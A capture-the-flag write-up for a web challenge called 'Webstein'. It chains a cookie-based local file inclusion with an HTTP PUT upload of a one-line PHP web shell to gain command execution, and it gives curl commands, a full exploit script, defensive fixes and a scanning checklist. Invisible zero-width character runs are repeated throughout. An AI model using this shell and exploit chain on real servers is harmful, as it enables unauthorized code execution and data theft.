← Back to Writeups
CUSTOMMediumWeb

Webstein

XESXOR9/2/20265 min read
#web#custom#medium#cookie-based-local-file-inclus#directory-enumeration-via-403-#http-put-method-file-upload-(m#lfi-to-rce-chain-via-uploaded-

Webstein

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: Cookie-based Local File Inclusion via lang parameter, Directory enumeration via 403 status codes, HTTP PUT method file upload (misconfigured nginx), LFI to RCE chain via uploaded PHP shell

Summary

Walkthrough of the CUSTOM Web Webstein. Task: Einstein quotes website with cookie-based language switching. Solution: LFI via lang cookie + HTTP PUT file upload to achieve RCE.

Description

Погрузитесь в мир великого мыслителя, где каждое слово Эйнштейна открывает дверь в новые измерения познания. Говорят, что если долго слушать Эйнштейна, то можно его услышать

URL: http://62.173.140.174:16032/

A site with Einstein quotes. The name "Webstein" is a wordplay on Web + Einstein.

Analysis

Step 1: Reconnaissance

Basic server analysis:

  • Server: nginx/1.18.0 (Ubuntu)
  • Cookie: lang=ru — switches language between Russian and English
  • Site displays Einstein quotes ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Directory Discovery

Checking directories by status codes:

bash
# Real directories return 403 Forbidden
curl -I http://62.173.140.174:16032/uploads/
# HTTP/1.1 403 Forbidden

curl -I http://62.173.140.174:16032/pages/
# HTTP/1.1 403 Forbidden

# Non-existent paths return 200 (catch-all routing)
curl -I http://62.173.140.174:16032/nonexistent/
# HTTP/1.1 200 OK

Conclusion: /uploads/ and /pages/ are real directories on the server.

Step 3: LFI Mechanism Analysis

Cookie lang includes .html files from the /pages/ directory: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

bash
# lang=ru includes /pages/ru.html (1159 bytes)
curl -b "lang=ru" http://62.173.140.174:16032/ | wc -c
# 1159

# lang=en includes /pages/en.html (1081 bytes)  
curl -b "lang=en" http://62.173.140.174:16032/ | wc -c
# 1081

Path traversal works:

bash
# lang=../uploads/shell will include /uploads/shell.html
curl -b "lang=../uploads/test" http://62.173.140.174:16032/

Step 4: HTTP PUT Discovery (Nikto)

Scanning the /uploads/ directory with nikto:

bash
nikto -h http://62.173.140.174:16032/uploads/

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical finding: HTTP PUT method is enabled! This allows uploading files directly to the server.

Solution

Step 1: Upload PHP Shell via PUT

bash
curl -X PUT -d '<?php system($_GET["c"]); ?>' \
  "http://62.173.140.174:16032/uploads/shell.html"
# HTTP/1.1 201 Created

Shell successfully uploaded as /uploads/shell.html.

Step 2: Trigger RCE via LFI

Using cookie to include the uploaded shell:

bash
curl -b "lang=../uploads/shell" "http://62.173.140.174:16032/?c=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

RCE achieved!

Step 3: Finding the Flag

bash
# View contents of /var/www/
curl -b "lang=../uploads/shell" \
  "http://62.173.140.174:16032/?c=ls+-la+/var/www/"
# ... fl4g.txt ...

# Read the flag
curl -b "lang=../uploads/shell" \
  "http://62.173.140.174:16032/?c=cat+/var/www/fl4g.txt"
# CODEBY{REDACTED}

Exploit

bash
#!/bin/bash
TARGET="http://62.173.140.174:16032"

# Step 1: Upload PHP shell via PUT
curl -X PUT -d '<?php system($_GET["c"]); ?>' \
  "${TARGET}/uploads/shell.html"

# Step 2: Execute commands via LFI
curl -b "lang=../uploads/shell" "${TARGET}/?c=id"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Find and read flag
curl -b "lang=../uploads/shell" "${TARGET}/?c=ls+-la+/var/www/"
curl -b "lang=../uploads/shell" "${TARGET}/?c=cat+/var/www/fl4g.txt"

Attack Chain

1. Reconnaissance
   └── Cookie lang=ru/en → file inclusion
   
2. Directory Discovery  
   └── 403 on /uploads/, /pages/ → real directories
   
3. LFI Analysis
   └── lang=../uploads/X → path traversal works
   
4. Upload Vector (Nikto)
   └── HTTP PUT enabled on /uploads/
   
5. Shell Upload
   └── PUT shell.html → 201 Created
   
6. LFI → RCE
   └── lang=../uploads/shell + ?c=cmd → RCE
   
7. Flag
   └── cat /var/www/fl4g.txt

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Defense

  1. Whitelist for included files: Allow only specific values (ru, en), not paths
  2. Disable PUT/DELETE: If WebDAV functions are not needed
  3. Isolate uploads: Separate domain or directory without PHP execution
  4. Filter path traversal: Block ../ in user input
  5. Minimal permissions: www-data should not have access to sensitive files

Lessons

  • Cookie-based LFI — often overlooked, but cookies are also user input
  • 403 vs 200 — different status codes help discover real directories
  • Nikto — useful for discovering non-standard HTTP methods
  • LFI + Upload = RCE — classic attack chain
  • nginx PUT — often enabled by mistake or for WebDAV ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical Lesson: Don't Rely Only on Manual Analysis

Problem

While solving this task, a lot of time was spent on manual path and parameter enumeration, although an automated scanner (nikto) found the key vulnerability — HTTP PUT — in 2 minutes.

What Went Wrong

  1. Didn't use scanners immediately — nikto, gobuster, dirsearch should be run at the start
  2. Didn't systematize directory search — missed /pages/, didn't pay attention to 403 vs 200
  3. Got stuck on LFI without understanding the mechanism — tried ../../../etc/passwd blindly, didn't realize .html was being appended
  4. Gave up too early — after ~50 failed attempts, without exhausting all tools ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Correct Approach for Web Tasks

bash
# 1. IMMEDIATELY run scanners (in parallel with manual analysis)
nikto -h $URL &
gobuster dir -u $URL -w /usr/share/wordlists/dirb/common.txt &

# 2. Distinguish real directories from catch-all
# 403 = real directory (no access to listing)
# 404 = doesn't exist  
# 200 with same size = catch-all routing

# 3. When LFI is discovered — understand the mechanism
# - What extension is appended? (.php, .html, .txt, nothing)
# - What is the base path? (/pages/, /lang/, /includes/)
# - What files actually exist?
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# 4. ALWAYS check HTTP methods
curl -X OPTIONS $URL -v
curl -X PUT -d "test" $URL/uploads/test.txt -v
curl -X DELETE $URL/uploads/test.txt -v

Checklist for Web Tasks

markdown
## Automation (run IMMEDIATELY)
- [ ] nikto -h $URL
- [ ] gobuster/dirsearch for directories
- [ ] wfuzz for parameters

## Manual Analysis
- [ ] Check all cookies for injection
- [ ] Distinguish 403/404/200 for directories
- [ ] Check HTTP methods (PUT, DELETE, OPTIONS)
- [ ] For LFI — understand the mechanism (extension, base path)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

## Keep Notes
- [ ] What was found (with evidence)
- [ ] What hasn't been checked yet
- [ ] Hypotheses to verify

Main Takeaway

Automated tools find what humans miss. Nikto found HTTP PUT in 2 minutes — the key to the entire solution. Don't skimp on scanning! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering Cookie-based Local File Inclusion via lang parameter, Directory enumeration via 403 status codes, HTTP PUT method file upload (misconfigured nginx), LFI to RCE chain via uploaded PHP shell was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-01-04 • CUSTOM • Webstein • Difficulty: Medium